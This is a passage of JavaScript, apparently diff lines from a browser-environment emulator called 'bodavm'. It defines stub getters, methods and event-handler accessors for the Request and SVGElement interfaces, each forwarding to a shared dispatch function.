{configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrerPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "credentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "cache", {configurable:true, enumerable:true, get:function cache (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "cache_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "redirect", {configurable:true, enumerable:true, get:function redirect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "redirect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "integrity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "keepalive", {configurable:true, enumerable:true, get:function keepalive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "keepalive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "isHistoryNavigation", {configurable:true, enumerable:true, get:function isHistoryNavigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "isHistoryNavigation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "bodyUsed", {configurable:true, enumerable:true, get:function bodyUsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "bodyUsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "blob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "formData", {configurable:true, enumerable:true, writable:true, value:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "formData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "json", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "text", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "body_get", arguments)}, set:undefined},'prototype'); - -// SVGElement对象 -bodavm.memory.globalobj['SVGElement'] = function SVGElement(){if (!(this instanceof SVGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGElement'], "SVGElement"); -bodavm.memory.globalobj['SVGElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['SVGElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('SVGElement', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "className_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ownerSVGElement", {configurable:true, enumerable:true, get:function ownerSVGElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ownerSVGElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "viewportElement", {configurable:true, enumerable:true, get:function viewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "viewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, 